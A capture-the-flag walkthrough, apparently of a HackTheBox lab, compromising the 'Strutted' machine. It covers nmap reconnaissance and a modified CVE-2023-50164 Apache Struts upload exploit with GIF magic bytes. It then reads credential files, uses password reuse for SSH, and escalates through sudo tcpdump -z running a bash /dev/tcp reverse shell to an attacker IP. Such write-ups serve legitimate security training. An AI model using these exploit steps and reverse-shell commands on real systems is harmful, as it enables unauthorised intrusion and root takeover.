Strutted

strutted.png

📺 Visual Solution Available:

Step 1: NMAP Level 1 Discovery

🧠 Perform an initial, fast port scan to start investigation.

nmap --top-ports 1000 -sC -sV --open 10.129.16.252

Table 1: NMAP Scan Results

Port Service Version
22/tcp ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:
- 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
- 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp http nginx 1.18.0 (Ubuntu)
http-server-header: nginx/1.18.0 (Ubuntu)
http-title: Did not follow redirect to http://strutted.htb/

Service Info:
OS: Linux
CPE: cpe:/o:linux:linux_kernel

Step 2: Prioritize Service Investigation

🧠 We do not have any knowledge of port 22. We do not have any known users or passwords. Port 80 is most likely hosting a web application we can directly investigate.

Table 2: Service Prioritization

Priority Port Service
1️⃣ 80/tcp http
2️⃣ 22/tcp ssh

Step 3: Update /etc/hosts

📝 NMAP results show the HTTP service redirects to strutted.htb.

# Add the following line to `/etc/hosts`
10.129.16.252 strutted.htb

Step 4: Manual Investigation of strutted.htb

🧠 strutted.htb appears to be an image file uploader service.

📝 The menu has an option to download the application’s docker image.

Step 5: strutted Web Application Content Investigation

🧠 Never overlook files. When we have the opportunity to review source code, we should investigate everything provided carefully. We may not understand everything we find, but it is more likely we come across things we are able to do deeper investigations on.

📝 tomcat-users.xml contains a username and password for admin

📝 SSH Login with admin credentials does not work

📝 pom.xml reveals the use of the Apache Struts 2 Framework

📝 Apache Struts 2 Version 6.3.0.1

Step 6: Apache Struts 2, 6.3.0.1, Vulnerability Search

🧠 With the struts2 version known, we can search for any public vulnerability disclosures and/or proof of concepts that we can leverage.

📝 CVE-2023-50164

📝 jakabakos GitHub: CVE-2023-50164-Apache-Struts-RCE

❗️ Your research may start with a different GitHub repository. However, always read through the repository README files to see if there are references to the original proof of concept creator. Most developers do this to offer credit their sources. The path that we took looked like the following:

Snyk Labs POC ➡️ Henrik Plate POC ➡️ jakabakos POC

🧠 It is always a best practice to ensure you are using an original proof of concept and not an adapted one. This way you understand the intent of the original proof of concept and why other users may have adapted it.

Step 7: Adapt Proof of Concept for strutted.htb

🧠 The service homepage states that only JPEG, PNG, and GIF are allowed. We can assume there are checkers in place to confirm the file is of this type. The source code does show that strutted.htb checks the content-type and file contents to confirm an approved format. However, if you were unable to notice this, it is not an unreasonable practice to assume the developer implemented checks, and we can still bypass them with this exploit as we are attacking the struts2 framework.

📝 Clicking on the Upload button reveals the target url for the upload.action

📝 Target URL = http://strutted.htb/upload.action

mkdir CVE-2023-50164-POC && cd CVE-2023-50164-POC
git clone https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE.git .

🛠️ Make the following changes to exploit/exploit.py

# Update `NUMBER_OF_PARENTS_IN_PATH`
# We do not know how far up the root directory is
# Start with a high number and tune if needed
NUMBER_OF_PARENTS_IN_PATH = 5
# Insert a file-signature of an approved file type for the service
# The file-signature needs to be added to the war_file_content
# Edit using byte strings
# The File Signature below is for GIF
magic_bytes = b"\x47\x49\x46\x38\x39\x61"
war_file_content = magic_bytes + war_file_content

📝 isaac-app-dev File Signatures

# Edit `files` variable, `HTTP_UPLOAD_PARAM_NAME.capitalize()` key
# The exploit uses a default file extension and content type
# Update both to the application's accepted filetypes e.g. GIF
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"),

Step 8: Run exploit.py

# From root of CVE-2023-50164-POC directory
python3 -m venv .venv
source .venv/bin/activate
pip install -r exploit/requirements.txt
cd exploit && python3 exploit.py --url http://strutted.htb/upload.action

Step 9: Investigate with exploit command shell

🧠 Do not always rush to get a more stable shell beyond what is provided by the exploit. Let’s investigate what we can and see if there is something we can leverage within the limits of our shell. If the unstable shell does not provide enough for us to use, then we can upgrade the shell and investigate deeper.

cat /etc/passwd

📝 User james found with /bin/bash profile

ls

📝 conf directory visible

ls conf

📝 Another tomcat-users.xml found

cat conf/tomcat-users.xml

📝 Another set of admin credentials found

Step 10: SSH Login as james

🧠 In the beginning of our investigation, we checked SSH login with the first set of credentials found in the tomcat-users.xml of the downloaded content. It is good practice to check for the reuse of passwords across services. Always keep this in mind when dealing with multiple services and discovered credentials.

🧠 Now that we have the user james confirmed, we can test password reuse for this user.

ssh james@10.129.16.252

📝 Login successful with conf/tomcat-users.xml credentials

# Obtain User Flag
cat user.txt

Step 10: Host Enumeration sudo permissions

sudo -l

📝 james can run tcpdump as sudo without a password

Step 11: Investigate Privilege Escalation with sudo tcpdump

man tcpdump

Table 3: tcpdump options

Option Details
-w: Write the raw packets to file rather than parsing and printing them out.
-G: If specified, rotates the dump file specified with the -w option every rotate_seconds seconds.
-z: Used in conjunction with the -C or -G options, this will make tcpdump run postrotate-command file where file is the savefile being closed after each rotation. For example, specifying -z gzip or -z bzip2 will compress each savefile using gzip or bzip2.
-Z: If tcpdump is running as root, after opening the capture device or input savefile, but before opening any savefiles for output, change the user ID to user and the group ID to the primary group of user.

🧠 With careful use of the discovered options, especially -z, we can use our sudo privileges to run a command and/or script as root and perform privilege escalation.

Step 12: Create Reverse Shell Script

🧠 Reading further into the -z option reveals that in order to pass any arguments to the command we want to run, we should use a script. This means for one-liner reverse shell commands, we can’t use the raw command form with -z. We have to use a shell script.

🛠️ Create /tmp/reverse.sh

#!/bin/bash
# Update ip and port targets for your setup
bash -i >& /dev/tcp/10.10.14.15/1337 0>&1
# make /tmp/reverse.sh executable
chmod +x /tmp/reverse.sh

Step 13: Privilege Escalation

🧠 We need to catch the reverse shell on our attacker machine with ncat

# From Attacker Machine
ncat -nlvp 1337
# From Strutted
sudo tcpdump -i eth0 -w /tmp/capture -G 3 -z /tmp/reverse.sh -Z root

🧠 After the set 3 seconds we should catch the reverse shell on our attacker machine and have root privileges.

id
# Get root.txt
cat /root/root.txt
../